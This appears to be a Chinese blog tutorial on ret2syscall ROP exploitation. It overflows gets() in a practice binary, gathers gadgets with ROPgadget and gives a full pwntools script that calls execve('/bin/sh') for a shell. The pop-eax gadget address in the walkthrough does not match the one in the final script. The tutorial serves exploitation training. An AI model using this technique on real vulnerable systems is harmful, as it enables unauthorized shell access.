Ret2Syscall绕过NX、ASLR保护

Ret2Syscall,即控制程序执行系统调用,进而获取shell。

下面看看我们的vuln程序。

可以看出,程序中的gets有明显的 溢出漏洞

用gdb打开,

检查一下文件开启了哪些防护:

可以看出程序开启了 NX(栈不可执行)防护,那么,我们可以用ROP绕过防护

接来下,我们利用溢出漏洞来控制程序执行syscall(系统调用)

有关syscall系统调用的信息,可以在这里查看:http://syscalls.kernelgrok.com/

漏洞利用思路:

1、计算字符串存储开始的地方到EBP之间的长度。

2、用某个字符填充这一段内存。

3、找到系统调用的地址 (int 80)

4、找到系统调用需要的参数,可以在上面的那个网站查看,我们分别需要控制eax,ebx,ecx,edx这4个寄存器

5、找到相应的gadget,即pop..ret的地址、“/bin/sh”的地址

 这里可以看出v4(放我们输入的字符串的地方)在esp+1C的地方

相对应栈顶指针的索引,一般需要进行调试

我们把断点定在gets处:

计算:ESP+1C - EBP = 0x6C  (108)

因为这个32位程序,所以在108+4个字符后,就开始覆盖EIP了,即开始覆盖函数的返回地址。

所以 payload='A' * 112

我们调用syscall之前,需要先把参数设置好

eax:0xb( sys_execve),ebx:‘/bin/sh’的地址,ecx:NULL,edx:NULL

这里就需要利用到我们的gadget,

我们可以通过 ROPgadget.py 来获取我们需要的gadget

命令:python ROP.py --binary ./rop2syscall --only "pop|ret" | grep 'eax'

得到:0x0804f704 : pop eax ; ret 3

命令:python ROP.py --binary ./rop2syscall --only "pop|ret" 

得到:0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

命令: python ROP.py --binary ./rop2syscall --string "/bin/sh"

得到:0x080be408 : /bin/sh

命令:python ROP.py --binary ./rop2syscall --only "int"

得到:0x08049421 : int 0x80

 得到地址后,我们继续构造payload

payload += p32(pop_eax_ret) + p32(0x0b)
payload += p32(pop_edx_ecx_ebx_ret) + p32(0x0) + p32(0x0) + p32(bin_sh)
payload += p32(syscall)
 

完整的exp:

from pwn import *

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
bin_sh = 0x080be408
syscall = 0x08049421
#80
io=process('./rop2syscall')

payload = 'A'*112
payload += p32(pop_eax_ret) + p32(0x0b)
payload += p32(pop_edx_ecx_ebx_ret) + p32(0x0) + p32(0x0) + p32(bin_sh)
payload += p32(syscall)

io.sendline(payload)
io.interactive()

猜你喜欢

转载自blog.csdn.net/qq742762377/article/details/84309401